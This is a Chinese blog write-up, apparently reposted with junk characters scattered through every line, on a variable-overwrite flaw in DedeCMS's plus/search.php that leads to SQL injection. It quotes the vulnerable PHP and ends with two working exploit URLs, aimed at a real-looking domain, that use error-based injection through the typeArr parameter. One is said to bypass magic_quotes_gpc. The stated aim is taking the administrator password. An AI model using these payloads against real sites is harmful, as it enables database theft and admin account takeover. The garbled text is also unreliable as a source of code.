微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
: K) G1 ^3 D5 a& L- D作者: c4rp3nt3r@0x50sec.org
Q( R6 c; q& U4 [( T4 W4 h) NDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
, Q% Q% B9 x# o2 N ! m: w+ h: y" W+ ~1 Q- ~
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
7 x3 L' p5 _- r; L2 y1 h# }
$ W0 r, X: t: i, p# Y============6 F0 M, I; e" H) @ o9 F( ]. k2 y
- T1 B! t5 K D7 k1 ~
" G& ~; m5 U- [* ~Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% h7 }- d* t0 r9 Y: ?; t6 e7 A) M
3 T; B3 {3 u8 ~9 T5 F; V4 ]9 q9 F* orequire_once(dirname(__FILE__).”/../include/common.inc.php”); V) k4 Q$ g# |* D/ O
require_once(DEDEINC.”/arc.searchview.class.php”);
* t4 e" ~$ y' ^6 ^2 ?6 p- ^" F
8 K1 P( w6 B# _, e" w$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;4 ~6 O& m2 _8 W; g
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
+ J/ b3 w% t y* m% R8 Q2 p3 R% G$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;' }; v0 g8 f' s! U7 f7 j. j+ X
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;; j: W, R% q2 U
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;# A8 ?' p/ X" \$ h% ?/ h
- d& y9 K3 [' m. ~$ Q, v
if(!isset($orderby)) $orderby=”;
! S3 c6 y- p, n3 melse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);1 l6 @" t; a# H
2 D5 g0 a4 l$ G( d
; D$ h ^, W! bif(!isset($searchtype)) $searchtype = ‘titlekeyword’;2 e& c" P( {+ Z; X
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
( }; V* @! K9 n! o
1 E9 e2 }5 K7 h6 \; N+ ?* ?8 Xif(!isset($keyword)){
/ C: L5 }& w) `9 U H if(!isset($q)) $q = ”;
2 j# t0 ~. D# {3 y9 w3 @. ?( @ $keyword=$q;% H' F1 e& z4 W' A# S
}) d( P" y" G* Y" t) q8 R& r8 s: D( G
3 f4 t; ~% S" a! W" P! N4 D$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
8 G* M: f5 \ p7 Q. T$ ^# v
$ c% y) v% b% W" L) ^' F5 R//查找栏目信息$ K* s5 [0 m& I5 F! H/ h+ Y+ r
if(empty($typeid))
u, ^$ [' t$ U" X/ r{
$ g3 d7 T9 L6 E7 K! T9 L $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
R1 C( _( d o1 r# {7 E# F5 t! D if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )4 Q9 R" J j. u; ~ s" K
{
3 L% J& e7 p* D S) k1 t $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);3 N3 R4 a- q$ l: K4 v& n5 ]
fwrite($fp, “<”.”?php\r\n”);! E: N. y( ?+ G% B
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);, d' m6 P6 R; J o8 `& y. m
$dsql->Execute();3 @; X! R6 o1 ^' x7 g
while($row = $dsql->GetArray())8 ^" N' o+ ?0 n4 c/ b" G
{
1 D9 x2 o N* x }+ V fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
& p2 B) Y m; I3 H* @8 j }$ C- T) [' M# V/ c; P
fwrite($fp, ‘?’.'>’);
f* }, b9 z9 G8 Q1 i' { s$ N& a/ q2 Q fclose($fp);! N g0 {! `% ?! S4 Z: \
}/ D/ q+ p9 v7 D8 j. Q& i+ u
//引入栏目缓存并看关键字是否有相关栏目内容6 U ], E0 b, y$ o& x2 I
require_once($typenameCacheFile);
: {. Y0 F5 x5 w! _+ x; a- Z//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
0 N- Q/ G4 t# O: t: Y//
# D+ B+ J/ |6 k if(isset($typeArr) && is_array($typeArr))2 }& A8 W, [6 t6 D1 L$ o
{# G3 z$ M- P( F& @9 y) J3 `' P
foreach($typeArr as $id=>$typename)
6 Q! h* v4 U1 Y$ u; N) h) B8 A {: D0 h' m% C% q+ _% O
5 `1 {+ T. q! a/ a" Y2 p <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过! ?$ I% d& B- I3 l4 I+ |7 }7 s
if($keyword != $keywordn)( m. \3 B) {- _3 i- ?
{
. C& x- z2 {6 l' f3 a; } $keyword = $keywordn;
0 s/ p' [' i+ ~" x. G" ? <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
H+ K4 u$ z. ?5 g3 `8 X+ f2 y break;9 [: c/ h$ y: C/ y1 }/ a
}& [$ D# d7 x0 O- [$ I5 Y0 H: ]
}* @8 @ \ A, Q% y% v7 @! t, G
}' a1 D; ~9 J' A! v. `' H
}
. i$ W8 `2 F. v5 O$ F$ f, L然后plus/search.php文件下面定义了一个 Search类的对象 .
: [1 k9 ~/ m# o4 a在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类. x: \% I9 i5 U* Q) `0 ]( I: a
$this->TypeLink = new TypeLink($typeid);
$ B$ d$ ?! l7 ~+ D. b 6 Z( O3 E* q7 Y( U# |
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
* `8 `/ l6 ~# O2 _9 m# _2 _: H * q, \, e8 v4 ~9 S/ B/ J: q
class TypeLink
) F$ K- R% I, y4 d" S{+ Y) ?7 h: ^0 ~9 X. Y
var $typeDir;- Y6 D' Y) x! I
var $dsql;
" O1 A8 N. } ~# O8 T5 N% N1 _ var $TypeID;7 i d6 d* G& |4 K' ?
var $baseDir;, g) j i$ p" C& |' d3 f
var $modDir;( N- g& e& W# n9 s( T
var $indexUrl;: S2 b" n* Q5 A6 |
var $indexName;$ L2 ]8 n6 _# Z4 c
var $TypeInfos;
( ]: t- }2 L7 v var $SplitSymbol;
2 {4 q- [& c) d$ l# ~ var $valuePosition;
. `7 F% K1 }, ~1 Z' w( ^ var $valuePositionName;% @: D0 N$ l7 H. [( A8 K
var $OptionArrayList;//构造函数///////2 [5 R' t- S$ Y# X+ d( X; a
//php5构造函数
" W3 `$ t* R' t5 S5 E2 f4 I2 k4 U. g function __construct($typeid)% J6 W$ z+ l5 b2 x- {0 a1 d
{
1 T7 m0 W# S u $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];- }( s8 l! W5 }8 D; f& x! |5 b# ]( G
$this->indexName = $GLOBALS['cfg_indexname'];
9 u6 M# t( d3 ?" F7 }: Q( Y0 B& N $this->baseDir = $GLOBALS['cfg_basedir'];
/ O& ~/ |2 ? [0 a& g8 y $this->modDir = $GLOBALS['cfg_templets_dir'];
O% F, i$ ?) k+ W! u' @1 Z $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$ E$ B/ t3 Y( G; l0 i% }& s8 l $this->dsql = $GLOBALS['dsql'];
5 E1 q+ Y: l3 z8 O $this->TypeID = $typeid;
0 U/ Z( e2 u5 n3 ` Z& W' a $this->valuePosition = ”;
y" f5 Z- V2 T1 i5 C $this->valuePositionName = ”;. Y9 u, u9 R5 ?. c B5 C; l
$this->typeDir = ”;+ m" @* {' w& u' H A P* c1 ?3 |
$this->OptionArrayList = ”;: @8 u; H7 [7 B, g7 g
* }& ~5 W* V& b) n; W5 \ //载入类目信息5 {& q8 @4 }4 Z: S2 [( v
9 u$ i# @ K$ a: F7 x1 k/ k
<font color=”Red”>$query = “SELECT tp.*,ch.typename as; L8 Y" X2 u( o, v, E1 \* t
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
0 W6 ?1 B2 P) v9 x`#@__channeltype` ch
& T2 W9 W' k5 H" q0 v. @% o on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
4 H8 Y3 u- j1 z* r % b; a: j# L$ O
if($typeid > 0)
: J7 Y$ {4 u" |/ W) J( Z, P) V {& b9 X+ @9 H2 A3 F, Y4 K
$this->TypeInfos = $this->dsql->GetOne($query);
- s4 n4 H- U- z9 \利用代码一 需要 即使magic_quotes_gpc = Off
- M( {" `5 v, O+ \( o3 C+ R ) O/ k( ]; E7 O. D- Z" g7 Z
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
( q6 I9 j" P. O( j' W5 E T3 m 9 s' Y+ E& R. z* O1 ]. z
这只是其中一个利用代码… Search 类的构造函数再往下
( c/ G1 v# J# Q! i% A1 P- d
7 E: T1 b$ U; r' R* p- D……省略
& f3 ?. [4 _: ]: y2 N8 i1 z0 I# c+ P$this->TypeID = $typeid;
% q/ I" i/ d. E# t R* D& q; B……省略5 K( }- b, u& Q( T1 @9 g
if($this->TypeID==”0″){
1 ^! P+ F7 G$ D2 D! b $this->ChannelTypeid=1;& O* p( \2 R) s- }$ W! ~. w$ p$ b4 q: h
}else{% m7 Z8 A( m! Q- A0 Q K# r3 g
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
, n9 ]: U, U. O2 a//现在不鸡肋了吧亲…
! l6 x4 T% p$ ?8 `# U% x- d $this->ChannelTypeid=$row['channeltype'];
$ Z$ L5 Y' |- z; H E9 T & \1 O3 w- ]8 j3 r- h$ x4 m, M) l
}. y. w' v) k! n, M0 I( T
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
3 c3 C# U( v! w0 c3 \, ]1 c& z& r $ L ?3 C: z( t, [# C0 k
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
; f0 N7 @3 w; ^, `+ n
7 D* C8 |" o$ \4 s如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
$ B& U' g' \+ G' H1 \ |